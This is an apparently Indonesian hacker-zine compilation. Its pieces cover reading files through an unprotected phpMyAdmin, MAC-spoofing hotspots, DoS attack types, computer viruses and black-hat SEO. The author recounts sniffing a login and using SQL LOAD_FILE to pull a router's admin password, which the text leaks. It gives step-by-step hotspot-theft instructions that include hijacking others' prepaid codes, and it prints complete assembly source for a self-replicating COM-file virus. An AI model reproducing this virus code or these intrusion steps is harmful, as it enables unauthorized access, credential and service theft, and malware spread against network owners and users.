firewall, tetapi tidak mengupgradenya. Jalan terbaik untuk melindungi website maupun network dari
serangan adalah mendekatkan keamanan sebagaimana tantangan yang sedang terjadi terhadap keamanan
itu sendiri, terus berusaha, selalu ingat basicnya dan jangan lupa untuk berdoa...:)

Mysql hack

Kemaren lagi iseng-iseng di kampus, snifing jaringan kampus. eh dapet deh login rapidshare (lumayan punya habis januari yang ini habis februari nambah 1 bulan).

Nah kita terusin soal mysql hack, masih di kampus. scan jaringan port 80 dengan program kesayngan gue netscan di jaringan kampus dan ada beberapa IP terdetek, di test ternyata ada yang pakek Xammp, di test phpmyadmin nya dan bisa masuk tidak d beri password root. http://ipkomputer/phpmyadmin wah bisa masuk. kepikiran soal mysql hack yang di baca dari ezine echo no.16 di sini wah kebuka phpmyadminnya ga di kasih password ternyata, mulai deh mysql hackingnya. di test liat isi boot.ini seperti di echo zine "SELECT LOAD_FILE('c:/boot.ini');" dan keluar

[boot loader]\r\ntimeout=3\r\ndefault=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS\r\n[operating systems]\r\nmulti(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect /TUTag=YAT41W /Kernel=TUKernel.exe\r\nmulti(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional (TuneUp Backup)" /noexecute=optin /fastdetect /TUTag=YAT41W-BAK\r\n


Wah bisa, iseng deh kan di warnet pakek mikrotik dan kalo komputer memakai winbox dan passwordnya di keep password pasti kesimpen di C:\Documents and Settings\warnet\Application Data\Mikrotik\Winbox\winbox.cfg komputer tersebut. kita masukin deh scriptnya sql di phpmyadminnya "SELECT LOAD_FILE('c:/Documents and Settings/nama user/Application Data/Mikrotik/Winbox/winbox.cfg');". Dan keluar


\0 typewindow \0 bounds, \0\0�\0\0\0� \0\0 \0\0 \0 host192.168.1.2

\0 loginadmin

\0 noteConfig\r\0

secure-mode\0\n\0\bkeep-pwd \r\0 pwdwifikampus \0\n
list-col-0d\0\0\0 \0\n
list-col-1P\0\0\0 \0\n
list-col-2�\0\0\0
\0
list-sort\0\0\0\0 \0

list-ascend \0\0\0\0\0


Kita dapet IP mikrotik 192.168.1.2 login admin dan password wifikampus mudah bukan

sory kalo tulisannya berantakan masih piyik soalnya :)

[ Shoutz and greetz ]

~ Allah Subhanahu Wa Ta'ala
~ All e-c-h-o staff and all e-c-h-o members
~ Teman teman di ICT

Memahami Serangan Denial of Service

Dalam artikel ini saya akan menjelaskan mengenai jenis serangan yang bisa dikatakan tidak ada obatnya, yaitu denial of service atau DoS. Bila serangan DoS ini dilakukan secara beramai-ramai dan terorganisir dengan baik, maka akan menghasilkan kerusakan yang dahsyat dan sanggup melumpuhkan situs-situs populer seperti twitter.com dan metasploit.com.
Apa itu DoS
Denial of service adalah jenis serangan yang tujuannya adalah mencegah pengguna yang sesungguhnya menikmati layanan yang diberikan server. Server sesuai namanya adalah pelayan yang harus selalu siap melayani permintaan pengguna, yang umumnya beroperasi 24 jam tanpa henti. Contohnya adalah web server yang bertugas melayani pengunjung web menyediakan informasi dalam bentuk halaman html. Dalam kondisi normal, pengunjung dapat meminta resource dari web server untuk ditampilkan dalam browsernya, namun bila web server terkena serangan DoS maka pengunjung tidak bisa menikmati layanan web server.
Secara umum ada 2 cara melakukan serangan DoS:
1. Mematikan Server
2. Menyibukkan Server
o Tanpa bug/vulnerability
o Meng-exploit bug/vulnerability
DoS dengan Mematikan Server: Kill Them!
Anda pernah mengalami ingin memakai telepon umum atau ATM namun tidak bisa karena di mesin tersebut ditempel kertas berisi pesan “Out of Service” atau “Sedang dalam perbaikan”. Telepon umum adalah target serangan DoS yang biasa terjadi, dimana-mana kita menemukan telpon umum yang rusak karena serangan DoS seperti membanting gagang telpon, mencabut kabel, memecahkan LCD dan aksi-aksi lainnya.
Tujuan serangan ini adalah membuat server shutdown, reboot, crash, “not responding”. Jadi serangan ini menghasilkan kerusakan yang sifatnya persisten artinya kondisi DoS akan tetap terjadi walaupun attacker sudah berhenti menyerang, server baru normal kembali setelah di-restart/reboot.
Bagaimana cara serangan DoS ini dilakukan? Serangan ini dilakukan dengan meng-exploit bug/vulnerability pada server. Kata kunci pada vulnerability jenis ini biasanya adalah “specially/carefully crafted packet/request”, yang artinya paket yang dirancang khusus. Kenapa dirancang khusus? Sebab dalam paket itu mengandung sifat tertentu yang membuat server mati ketika mengolah paket khusus itu.
Mari kita perhatikan beberapa contoh vulnerability yang berakibat pada DoS attack:
• Ping of Death ( CA-1996-26 )
Ini adalah jenis bug yang sudah sangat tua. Praktis sudah tidak ada lagi sistem yang vulnerable terhadap bug ini. Bug ini bila diexploit akan membuat server crash, freeze atau reboot. Serangan ini dilakukan dengan mengirimkan “specially crafted” paket berupa oversized ICMP packet, yaitu paket yang ukurannya di atas normal. Ketika server menerima dan memproses paket yang “aneh” ini, maka server akan crash, freeze atau reboot. Ini adalah contoh serangan DoS “one shot one kill” karena bisa merusak server hanya dengan satu tembakan saja.
• MySQL IF Query DoS ( SA25188 )
Bug ini akan membuat mysql server menjadi crash hanya dengan mengirim sql khusus yang mengandung fungsi IF() contohnya: “SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)))”. Ini juga jenis serangan “one shot one kill”.
• Cisco Global Site Selector DNS Request Denial of Service (SA33429)
Bug ini membuat DNS server Cisco mati dengan mengirimkan beberapa “specially crafted” paket request DNS dalam urutan tertentu.
Tiga contoh di atas kiranya cukup memberikan gambaran tentang bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah attacker memanfaatkan (baca:mengexploit) bug yang membuat server berhenti bekerja dan biasanya dilakukan sendirian secara remote dengan mengirimkan specially crafted packet.
DoS dengan Menyibukkan Server: Make Them As Busy As Possible!
Pada waktu menjelang lebaran kita sering merasa begitu sulit mengirim sms, bahkan sering terjadi gagal kirim. Begitu juga ketika berlangsung acara kuis di TV, mengelpon ke nomor untuk menjawab kuis terasa begitu sulit. Hal ini terjadi karena ada begitu banyak orang yang mengirim sms pada saat lebaran dan menelpon pada waktu kuis sehingga membuat jaringan telekomunikasi menjadi begitu sibuk sampai tidak bisa melayani pengguna lain. Peristiwa itu mirip dengan yang terjadi ketika sebuah server mendapat serangan denial of service. DoS yang terjadi pada peristiwa tersebut bukan jenis DoS yang mematikan server, namun jenis DoS yang menyibukkan server.
Jenis DoS ini bersifat sementara, server akan kembali normal bila attacker berhenti mengirimkan request yang membuat sibuk server.
DoS jenis ini terbagi lagi menjadi 2 jenis berdasarkan cara melakukan serangan:
• Exploiting vulnerability: Menyerang dengan malicious request/packet
• No vulnerability exploitation: Menyerang dengan normal request/packet
Membuat server sibuk dengan mengexploitasi vulnerability lebih cepat daripada tanpa mengeksploit vulnerability.
Make Server Busy by Exploiting Vulnerability
Dalam serangan DoS jenis ini, attacker memanfatkan bug yang membuat server berlebihan dalam menggunakan resource (cpu,memory,disk space dsb). Attacker akan mencari cara bagaimana agar membuat server bekerja ekstra keras (jauh lebih keras dari request normal) untuk melayani request dia. Biasanya serangan DoS jenis ini tidak berupa serangan “one shot one kill”. Serangan dilakukan dengan melakukan banyak request dengan setiap request membuat server mengonsumsi lebih banyak resource dari request yang normal.
Dalam hitungan matematika sederhana, bila attacker bisa membuat server bekerja selama 10 detik hanya untuk melayani dia (misal normalnya 0,1 detik), maka attacker bisa mengirimkan request 1.000x untuk membuat server melayani dia selama 10.000 detik (2,7 jam lebih) sehingga membuat pengguna lain tidak bisa menikmati layanan server.
Untuk lebih memahami DoS jenis ini, mari kita lihat contoh-contoh vulnerability yang bisa diexploit untuk melancarkan serangan DoS jenis ini:
• TCP SYN Flood DoS
Ini adalah serangan DoS yang sudah sangat tua. Attacker menyerang dengan cara membanjiri server dengan malicious request berupa paket SYN dengan fake source IP address. SYN packet adalah paket dari client yang mengawali terbentuknya koneksi TCP/IP, setelah itu server akan membalas dengan SYN-ACK, dan dilengkapi dengan paket SYN-ACK-ACK dari client, tiga proses ini disebut three way handshake.
Triknya adalah pada fake source ip address pada paket SYN dari client. Akibatnya server akan mengirim SYN-ACK (step 2) ke ip address yang salah sehingga server juga tidak akan mendapatkan balasan SYN-ACK-ACK dari client. Padahal untuk setiap client yang mencoba membuka koneksi, server akan mengalokasikan resource seperti memori dan waktu untuk menunggu datangnya balasan ACK dari client. Dengan cara ini attacker menghabiskan resource server hanya untuk melayani request palsu dari attacker.
• Apache mod_deflate DoS
Apache menggunakan mod_deflate untuk memampatkan file. Bila visitor meminta sebuah file, maka apache akan menggunakan mod_deflate untuk memampatkannya kemudian mengirimkan ke visitor tersebut. Namun bila di tengah proses pemampatan, visitor memutuskan koneksi TCP, Apache masih terus bekerja memampatkan file untuk visitor yang sebenarnya sudah tidak ada (sudah disconnect). Jadi bugnya adalah pada borosnya pemakaian resource cpu untuk memampatkan file untuk client yang sudah tidak ada.
Attacker memanfaatkan kelemahan ini dengan meminta sebuah file yang berukuran besar, kemudian dalam waktu singkat memutuskan koneksi sehingga membuat server bekerja keras mempatkan file untuk visitor yang sudah tidak ada. Request ini diulang berkali-kali sampai server begitu sibuknya dan semua resource cpu habis.
Dua contoh vulnerability di atas cukup menjelaskan bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah dengan mengirim banyak malicious request/paket yang membuat server mengonsumsi resource lebih banyak dan lebih lama untuk setiap requestnya.
Make Server Busy Without Exploiting Vulnerability
Ini adalah jenis serangan yang mengandalkan pada kemampuan mengirimkan normal request sebanyak-banyaknya sehingga server menjadi sibuk. Perbedaan DoS jenis ini dengan DoS yang mengexploit vulnerability adalah pada requestnya. Request yang dikirimkan pada DoS jenis ini adalah request yang normal seperti yang dilakukan pengguna biasa, sehingga server tidak mengonsumsi resource berlebihan. Sedangkan DoS yang mengandalkan vulnerability mengirimkan specially crafted malicious request untuk membuat server mengonsumsi resource lebih banyak untuk melayani malicious request tersebut.
Normal request hanya membuat server mengonsumsi resource dalam jumlah biasa-biasa saja, tidak akan mengganggu kerja server secara keseluruhan. Diperlukan normal request dalam jumlah yang sangat banyak untuk membuat server terganggu kerjanya. Jadi agar serangan ini menjadi efektif, maka serangan harus dilakukan beramai-ramai dari banyak tempat, semakin banyak penyerang semakin bagus hasilnya. Serangan ini juga disebut dengan distributed DoS (DDoS) karena dilakukan dari banyak lokasi yang terdistribusi (tersebar).
Serangan DDoS dilakukan dengan menggunakan komputer zombie atau robot. Zombie adalah komputer yang sudah dikuasai attacker sehingga bisa dikendalikan dari jarak jauh. Sekumpulan komputer zombie membentuk jaringan yang disebut bot-net. Attacker mendapatkan banyak zombie dengan menyebarkan virus atau worm, setiap komputer yang terinfeksi akan diinstall program yang membuat komputer bersedia menjalankan perintah dari attacker.

Courtesy of: www.dos-attack.net
Gambar di atas menjelaskan cara kerja DDoS. Attacker memberi perintah kepada semua pasukannya untuk membuat request HTTP ke sebuah website. Bila pasukan yang dikuasai attacker sangat besar, maka web server akan dibanjiri request sehingga menjadi terlalu sibuk dan tidak bisa diakses oleh pengguna yang sebenarnya (real visitor).
Serangan jenis ini tidak ada obatnya karena attacker tidak meng-exploit bug atau vulnerability apapun. Bila pada jenis DoS yang lain, serangan dapat dicegah dengan melakukan patching atau update software, maka serangan ini tidak bisa dihentikan dengan update atau patch.
Kesimpulan
Denial of service adalah serangan yang membuat server tidak bisa melayani pengguna yang sesungguhnya. Berikut adalah jenis-jenis serangan DoS berdasarkan cara melakukan serangan:
• Mematikan Server: one shot, one kill untuk membuat server menjadi crash, hang, reboot.
• Menyibukkan Server: mengirim banyak sekali request untuk membuat server sibuk.
o Exploiting bug: mengirim banyak specially crafted request. Jumlah request tidak sebanyak jenis DoS yang menyibukkan server dengan normal request.
o Normal request: mengirim banyak request normal seperti pengguna biasa. Diperlukan jumlah request yang lebih banyak dibandingkan jenis DoS yang menyibukkan server dengan exploit bug. Biasanya menggunakan botnet secara terdistribusi.

Cara Mudah Bobol Warnet hotspot Untuk Internet Gratis

Wah serem banget ya judulnya ? “Membobol Hotspot“. Tapi ini merupakan sebuah trik yang saya sering lakukan di warnet yang berbasis hotspot. Jahat Donk ? Uhm…, tergantung situasi sih, kalau memang keungan lagi mepet dan memang gak bisa ngenet pakek isi kantong ya mungkin trik ini bisa membantu. Saya jahat ya ? (saya harap teman-teman menjawab dengan bijak, hehehe..). Trik ini juga bisa digunkan untuk mencari pasword yang digunakan oleh seseorang dalam mengakses hotspot yang bisanya menggunakan kartu prepaid.

Langsung aja ke TKP

Alat yang dipersiapkan sih simple aja :

- Seperangkat Laptop : Pc yang kena wireless juga boleh, asal jaringan hotspotnya nyampek.

- Charger laptop : karena pasti memakan banyak daya batre saat keranjingan internet gratis

Software yang diperlukan :

1. AngryIP Scanner (108 kb): ini software untuk scanning ip dan mencari mac address korban. Softwarenya search aja di google kecil kok ukurannya. Tinggal pakai alias gak perlu instalasi.

2. Mac Addres Chager (312 kb): software ini dipergunkan untuk mengganti mac addres kita. Mac Address ? gak perlu dijelasin yang penting bisa makeknya, tak pasti ngeti sambil jalan. (asal jalan gak jauh-jauh “^_^”). Silakan search di google.

Langsung aja sekarang ke caranya :

1. Cari lokasi penyedia layanan hotspot, tentunya di daerah yang terjangkau jaringan hotspot tersebut.

2. Hidupkan laptop anda, dan hidupkan pula wireless network anda dan lihat di sistem tray icon wireless network, kemudian klik kanan dan pilih view avalible wireless network, dan tentunya setelah itu anda harus connect ke wireless hotspot tujuan anda.

3. Setelah connect, klik kanan sistem tray dan pilih status >pilih tab detail > kelihatan disana ip yang diberikan kepada kita. Catat ip tersebut.

4. Buka Program AngryIP Scanner dan isikan ip range yang akan kita scan (pakai data ip kita tadi) pada bagian atas. Misalnya : IP yang kita dapat xxx.xxx.x.xx kemuadian masukkan pada kolom range pertama ip kita sesuai dengan ip yang tadi namun ganti angka di bagian akhir dengan 1 menjadi xxx.xxx.x.1 dan pada kolom kedua tuliskan sama namun angka satu diakhir itu ganti dengan 255 menjadi xxx.xxx.x.255. hasilnya xxx.xxx.x.1 to xxx.xxx.x.255 dan klik start (tombol merah).

5. Setelah melakukan scanning maka kita akan mendapatkan data ip yang hidup yang terkoneksi dengan hotspot tersebut. setelah scanning selesai maka lihat ip yang hidup (alive host) warna biru klik kanan pada ip yang hidup Klik kanan pada ip yang warna biru tadi klik kanan > show > mac address dan akan ada kode mac addres (terkadang ada mac addressnya tidak tampil, pilih saja ip yang lainnya). Catat mac address yang kita dapatkan.

6. Buka Program Mac Address Changer yang telah kita persiapkan. Disana ada field mac address. nah sekarang tinggal ganti mac address tersebut dengan yang kita dapatkan tadi dan tekan change mac id.

7. Tunggu karena mac kita aan diganti dan koneksi sementara terputus dan konek lagi otomatis sendiri.

8. Masuk web browser firefox atau apa saja boleh. Nikmati Internet Gratis…

Satu hal yang perlu diingat adalah kita sistemnya numpang data transfer pada account yang kita hack tadi (yang punya ip tadi, maaf…). Kalau Saya sih biasanya untuk mengakalinya adalah dengan masuk halaman status login hotspot tersebut (untuk dapat account). misalnya idonbiu.hotspot.net/status dan begitu masuk disana kan terlihat nomor sandi prepaid card dan kita catat saja, lalu logout, dan masuk kembali ke halaman login hotspot itu cepat-cepat masukkan sandi tadi. Hal ini akan membuat kita secara langsung dapat mengakses internet tanpa menumpang lagi (soalnya yang make prepaid card code kan kita) jadi kalau ada yang mau login pakai kartu itu (yang punya code) saat kita login pakai kartu itu tentunya dia tidak akan bisa masuk karena kartu prepaid cardnya “already login”.

Bagaiamana, menarik bukan ?

Tapi saya sarankan, seperti yang saya lakukan adalah dengan menumpang saja, karena saya tidak mau berbuat terlalu jauh, seperti cara yang saya beritau untuk me log off dan log in lagi tentunya akan membuat sang pemilik tidak bisa log in. Kasian kan ?

Jadi mumpung sudah dikasi gratisan, kenapa gak numpang saja ya, itung-itung cuman ikutan ngakses bareng kan tidak terlalu merugikan. Minta ijin langsung juga kemungkinan yang punya gak nolak, asal kepentingannya memang mendesak.

Untuk Sacanning Ip saya juga bisa gunakan aplikasi the dude untuk mengetahui kondisi koneksi komputer-komputer ke hotspot. Bisa dicoba juga ya.

Sekali lagi, semua ini hanya untuk pembelajaran saja, selama kita masih mampu kenapa gak pakai yang legal aja. Dan ini juga bisa dimanfaatkan oleh pemilik hotspot, kalau cara ini masih bisa digunakan untuk membobol. Jadi perlu keamanan yang lebih

good luck mudah2 an bermanfaat...hehehehe....tanggung jawab ditanggung sendiri...heheh

Cara Kerja Virus Komputer

Cara kerja Virus Komputer pada umumnya adalah menyebarkan dirinya dengan cara antara lain menularkan file-file executable atau file-file yang bisa dijalankan langsung dari DOS Command line .
Sudah jadi sifat virus jika dia dijalankan, maka ia menulari program aplikasi yang lain, yang di maksud menulari adalah menyalin dirinya atau program virus tersebut ke program aplikasi lainnya, jika dalm hal ini yang tertular adalah program Aplikasi 1, maka apabila program aplikasi 1 tersebut dijalankan, maka program aplikasi 1 yang sudah serinfeksi virus itu akan menularkan virus pada program aplikasi yang ke 2 , maka baik program aplikasi 1 maupun 2, sudah merupakan program pemikul bagi virus itu sendiri, yang akan menularkan seluruh program aplikasi yang ada.
Agar bisa bertindak sebagai virus komputer, sebuah program harus mempunyai 5 buah kemampuan yang merupakan prinsip dari virus komputer. Kelima kemampuan itu adalah :
1. Kemampuan mendapatkan informasi
2. Kemampuan memeriksa program
3. Kemampuan menggandakan diri / menularkan
4. Kemampuan mengadakan manipulasi
5. Kemampuan menyembunyikan diri sendiri
Satu persatu kemampuan itu akan dijelaskan pada subbab selanjutnya
4. 1.1. Kemampuan mendapatkan Informasi
Pada Virus Komputer kemampuan untuk mendapatkan informasi sangat penting, terutama informasi mengenai file yang akan diinfeksi, Virus Komputer biasa nya tidak menulari 1 program saja, tapi sekumpulan program, contohnya File-file EXE, file-file COM, atau kedua-duanya, virus harus mendapatkan informasi tentang file tersebut pada directory, hal-hal mengenai informasi pada file yang perlu diketahui antara lain :
1. Apakah Extensi File tersebut ( COM,EXE, BAT)
2. Apa Atribut file ( Hidden, Readonly, Archive)
3. Besar File Yang akan Di infeksi
Informasi tersebut sangat bermanfaat bagi virus, dimana informasi mengenai Extension file berguna untuk virus yang menyerang file-file tertentu contohnya virus yang menyerang file EXE, virus tersebut harus mencari file-file EXE yang akan ditulari.
Informasi attribut berguna untuk memberikan pilihan pada virus apakah dapat menyerang file dengan attribut Readonly, Hidden ataukan virus harus mengeset attribut file-file tersebut menjadi Normal, sehingga virus dapat menulari.
Informasi tentang ukuran file berguna untuk operasi matematis yang akan menghitung berapa besar file yang sudah tertular, dimana
Besar_file_terinfeksi = file_asli + Virus_size
Fungsi ini terutama dipakai oleh virus Non OverWriting. Dibawah ini cuplikan metode virus untuk mendapatkan informasi tentang File :
Start : mov dx,offset File_to_infect ; cari seluruh file Mov ah,4Eh
Mov cx, 3 ; Attribut File ; cari host file
———
int 21h ; Dos Intrupt
cmp ax,12h ; Ada file lagi
je exit ; kalau tidak ada exit
———
file_to_infect db “*.COM” ; File yang akan diinfeksi
ends start ; akhir kode Virus
Listing 4.1. Search First File
Dimana Dx menuju ke alamat yang berisi nama file yang akan di infeksi, sedangkan disini di gunakan DOS Interupt 21H dengan Service ah, 4EH yang berguna untuk mencari file pertama yang cocok dengan DX ( Find First Matching File), dan mendapat kan informasi tentang file yang berada di dalam directory, biasanya fungsi 4Eh ini selalu berpasangan dengan 4Fh, yaitu fungsi untuk mencari file berikutnya yang cocok ( Find Next Maching File), sedangkan nilai CX,3 digunakan untuk mengecek attribut dari file, apakah Hidden, ReadOnly, virus dapt mengeset kembali attribut file menjadi normal, sehingga virus dapat menginfeksi file tersebut.
4. 1. 2. Kemampuan Untuk Memeriksa Program
Kemampuan untuk memeriksa program sangat penting bagi Virus Komputer , karena untuk mengetahui apakah file target sudah tertular atau belum, ini sangat penting karena virus tidak akan menularkan dirinya berkali-kali pada file yang sama, selain untuk mempercepat proses penularan juga untuk menjaga agar file korban tidak rusak, karena apabila penularan dilakukan berulang-ulang pada file yang sama, CRC dari file tersebut akan kacau dan menyebabkan file yang tertular tidak jalan, biasaanya file rusak tersebut akan mengeluarkan pesan Divide Over Flow, atau Error in Exe File, selain itu file yang berkali-kali diifeksi akan bertambah besar, dan akan mencurigakan pemakai komputer. Seperti digambarkan dalam flowchart berikut ini :

Gambar 4.2. Memeriksa Program
Berikut ini contoh listing dari kemampuan untuk memeriksa file
Mov ah, 3fh ; Baca file
Mov cx, 3 ; baca 3 byte
Mov dx,3_byte ; simpan pada buffer
Add dx,si ; Nama file
Int 21h ; Dos intrupt
Cmp a,3 ; Cek 3 byte tadi
Jnz cari_lagi ; Jika sudah tertular exit
Jmp Infect ; kalau belum , infect_file
3_byte equ $ ;data 3 byte pertama dari file asli
;yang belum tertular
infect_file : ; bagian penginfeksian
———— ; rutin infeksi
int 20h ; Dos Exit function
nop ; No Operation
Listing 4.2 . Periksa File
Pada rutin diatas dapat dilihat bagai mana Virus Komputer memeriksa file korbannya, untuk memberikan identitas file mana yang sudah terinfeksi maupun yang belum, karena dengan memeriksa file korban, umumnya 3 byte pertama yang menandakan file tersebut sudah tertular / belum, 3 byte pertama tersebut umumnya intruksi JMP : offset (Untuk file COM) , kode ‘MZ’ pada header file EXE dan PE untuk File Aplikasi Windows
Rutin ini sangat penting untuk menghindari penularan berkali-kali pada file korban, juga untuk menpercepat penularan. Rutin ini dipakai oleh 90 % virus komputer untuk menularkan diri.
4. 1. 3. Kemampuan untuk menggandakan diri / Replicating
kemampuan ini merupakan inti utama dari Virus Komputer , karena virus komputer memang diprogram untuk menularkan, dan memperbanyak dirinya. Tugas dari rutin replicating ini adalah menyebarkan virus keseluruh system yang ditularinya, tugas dari rutin ini sangat berat karena rutin tersebut harus mampu menyebarkan virus dengan cepat dan tidak diketahui oleh pemakai komputer, selain itu rutin replicator harus dapat menjaga agar file yang ditularinnya tidak rusak ( Rutin untuk Virus Appending / NonOverwriting ), dan dapat berjalan sebagaimana mestinnya.
Cara kerja rutin replicator pada file COM lebih sederhana dari file EXE, karena struktur program EXE yang tidak terbatas besarnya yaitu ( sebesar memory di komputer ), sedangkan file COM hanya dibatasi sampai 64 Kb ( Base memory ). Rutin replikator pada file COM akan menditeksi dan mengcopy byte pertama dari file yang akan ditularinya, kedalam suatu daerah di memory, rutin tersebut dipindahkan kedalam daerah lain dalam file.

File bersih program Virus
Pada diagram diatas P1 adalah bagian pertama dari file, P2 adalah bagian kedua dari file korban. P1 harus sama besar dengan V1 (rutin virus) , rutin virus akan menyimpan P1 dan mengcopynya pada bagian akhir dari file.

Setelah itu virus akan mengcopykan bagian pertama dari dirinya (V1) ke bagian awal file korban. Dimana V1 berisi instruksi JMP:V2, yaitu instruksi untuk memanggil badan Virus yang ada di belakang file korban.
Kemudian virus akan mengcopykan bagian kedunya (V2) yang merupakan badan virus ke akhir file yang ditulari, V2 ini biasanya berisi rutin-rutin lain seperti rutin untuk pengaman, rutin untuk melakukan aksi tertentu dan lain-lain. Rutin tersebut dapat dilihat dibawah ini :

Dalam program dapat diambil contoh 44-Virus.Com , yang merupakan virus sepanjang 44 byte, dengan cara kerja Overwriting file Com yang ada dalam suatu directory sepanjang badan Virus itu sendiri yaitu 44 Byte, virus ini masih sangat sederhana dan belum mempunyai rutin-rutin pengaman, maupun kemampuan untuk memeriksa program, ataupun rutin untuk aksi-aksi tertentu , dalam contoh dibawah ini virus hanya mempunyai kemampuan untuk menulari file Com.
Namun demikian dapat kita lihat bagaimana virus akan berkembang dengan cara menggandakan dirinya dalam program Com.
Berikut ini listing dari 44-Virus.Asm :
________________________________________
virus segment
org 100h ; file COM
assume cs:virus
len equ offset last-100h ;Panjang virus = Akhir program – awal program
start : mov ah,04eh ; Cari file dengan kategori file COM
xor cx,cx ; cx 0, = hanya file dengan atrribut Normal
lea dx,com_mask ; Nama file COM masukan ke register DX
int 21h ; Dos Intrupt
open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis
mov dx,9eh
Int 21h
Infect : mov cx,len ; cx diisi panjang badan virus
lea dx,start ; Masukan header Virus “V1″ pada DX
Mov ah,40h ; Tulis badan virus dalam file korban
Int 21h ; Dos Intrupt
Next : mov ah,3eh ; Tutup file korban
int 21h
mov ah,4fh ; Cari file korban lagi
int 21h
jnb open_file ; Apa sudah semua file Com ? kalau belum jmp ke Open_file
; Kalau sudah semua terinfeksi Exit
com_mask: db “*.COM”,0 ; File dengan ekstensi Com
last : db 090h ; Akhir badan virus “V2″
virus ends
end start
________________________________________
Listing 4.3. Replicating / Penggandaan
4. 1. 4. Kemampuan Mengadakan Manipulasi
Kemampuan untuk mengadakan manipulasi sangat penting dilakukan oleh virus, karena bagian ini sebetulnya yang membuat virus komputer menarik, dan mempunyai seni dalam pembuatannya. Bagian manipulasi atau rutin manipulasi ini banyak macamnya, dan fungsinya, suatu virus dapat mempunyai salah satu diantara rutin-rutin manipulasi ini maupun gabungan antara rutin-rutin manipulasi tersebut. yang pasti, makin banyak rutin manipulasi yang dipakai oleh virus, maka akan makin besar ukuran virus yang dibuat. Diantara rutin-rutin manipulasi yang ada, yang sering digunakan adalah :
1. Menampilkan tulisan / kata-kata / gambar
2. Membunyikan port speaker
3. Time bomb / logic Bomb
4.1.4.1. Menampilkan Tulisan / gambar
Rutin ini yang paling banyak dipakai oleh pembuat Virus Komputer , karena rutin ini selain untuk kepopularitas virus maupun pembuatnya, juga akan membuat virusnya mudah dikenal oleh para pemakai komputer, selain itu rutin ini membutuhkan suatu kreatifitas tinggi dan jiwa seni dari pembuatnya yang akan membuat virus ini akan menarik. Listing program dibawah ini akan memberikan contoh pembuatan rutin ini.

________________________________________
virus segment
org 100h
assume cs:virus
len equ offset last-100h ; Panjang virus = Akhir program – awal program
start : jmp mulai
msg db ‘ Modification of 44 Virus ‘,13,10
db ‘ © 2000,iwing[indovirus] ’,13,10
db ‘ – For Educational Only -$’,13,10
mulai : mov ah,09 ; Dos service 09h = Cetak String
lea dx,msg ; dx berisi pesan yang akan dicetak
int 21h ; Dos intrupt
go : mov ah,04eh ; Cari file dengan kategori file COM
xor cx,cx ; cx 0, = hanya file dengan atrribut Normal
lea dx,com_mask ; Nama file COM masukan ke register DX
int 21h ; Dos Intrupt
open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis
mov dx,9eh
Int 21h
infect : mov cx,len ; cx diisi panjang badan virus
lea dx,start ; Masukan header Virus “V1″ pada DX
mov ah,40h ; Tulis badan virus dalam file korban
Int 21h ; Dos Intrupt
Next : mov ah,3eh ; Tutup file korban
int 21h
mov ah,4fh ; Cari file korban lagi
int 21h
jnb open_file ; Apa sudah semua file Com ?,kalau belum jmp ke Open_file
; Kalau sudah semua terinfeksi Exit
com_mask: db “*.COM”,0 ; File dengan ekstensi Com
last : int 20h ; Akhir badan virus “V2″
virus ends
end start
________________________________________
Listing. 4.4. Rutin Cetak String
Pada listing program virus diatas dapat dilihat, modifikasi dari virus 44 byte
Dengan tambahan rutin untuk menampilkan string :
Modification of 44 Virus
© 2000,iwing[indovirus]
-For Educational Only –
setiap kali penularan. Disini dapat dilihat rutin yang menampilkan pesan tadi yaitu
mulai : mov ah,09 ; Dos service 09h = Cetak String
lea dx,msg ; dx berisi pesan yang akan dicetak
int 21h ; Dos intrupt

Menjadi raja di Internet dengan Black Hat SEO

Beberapa hari yang lalu saya melepaskan rasa kangen untuk merasakan kenikmatan surga buku di Gramedia Padang. Maklum sudah lama nggak bersilaturahmi dengan Gramedia Padang. Niat cuman untuk membeli buku yang tertunda lantaran PayPal yang isinya masih dalam keadaan tidak stabil. Namun ketika kunjungan kemaren pun juga nggak sempat beli buku baru karena udah begud magrib alias udah berbuka puasa.

Pandangan langsung tertuju ke salah satu majalah. Saya lupa nama majalah tersebut yang jelas topik nya adalah apa yang selama ini saya cari yaitu bagaimana menaikkan traffic ke blog atau website. Ternyata cara ampuh untuk menjadi raja di Internet adalah dengan menggunakan Black Hat SEO. Cara ampuh ini berhasil dikembangkan oleh sekelompok blogger di Rusia dan dia pun merajai hampir disetiap keyword. Bahkan penghasilannya dari Google Adsense pun meningkat tajam. Cara ini memang curang. Sangat curang. Tapi kalau ingin tau nggak apa-apa bukan?

Black Hat SEO menerapkan beberapa strategi untuk menaikkan traffic, beberapa diantaranya adalah:

  1. Menggunakan Meta Tag alias memanipulasi Meta Tag. Dengan memanipulasi meta tag ini dengan keyword-keyword yang super di Google sebuah blog bisa mendapatkan kunjungan bejibun pada satu hari. Permainan tembah keyword langsung ini ternyata susah-susah gampang. Kita harus bisa memanipulasi meta tag dan menyesuaikan dengan keyword yang tenar di Google. Ini adalah jurus beresiko tinggi pertama dari Black Hat SEO.
  2. Menggunakan invisible keyword. Saya lupa nama kerennya apa yang jelas cara yang satu ini memungkin setiap pencarian mengarahkan blog kita untuk menduduki urutan paling atas dalam mesin pencari Google. Invisible keyword ini adalah sebuah keyword tersembunyi yang terletak dibelakang sebuah konten yang tidak bisa dilihat dengan mata telanjang. Namun bisa dilihat dengan mata bathin seorang blogger. Apakah anda blogger? Kalau iya berarti anda bisa melihat invisible keyword tersebut. Sori ndak ada skrinsut
  3. Memanipulasi bagian index.php dan bagian inti dari pada blog. Manipulasi ini disertakan injeksi keyword-keyword terampuh dalam sejarah mesin pencari. Kita bisa melihat keyword-keyword ampuh dalam jagad per-Google-an di Google keyword. Dengan menggunakan taktik seperti ini sebuah blog bisa menjadi raja di internet karena adanya keyword tersembunyi yang tidak diketahui oleh siapa pun.
  4. Memanipulasi robot. Setiap saat Googlebot mengcrawl blog kita maka kita pun bisa memanipulasi data dari Googlebot tersebut. Manipulasi ini dilakukan dengan cara terus menginjeksikan konten-konten dan keyword-keyword terhangat.
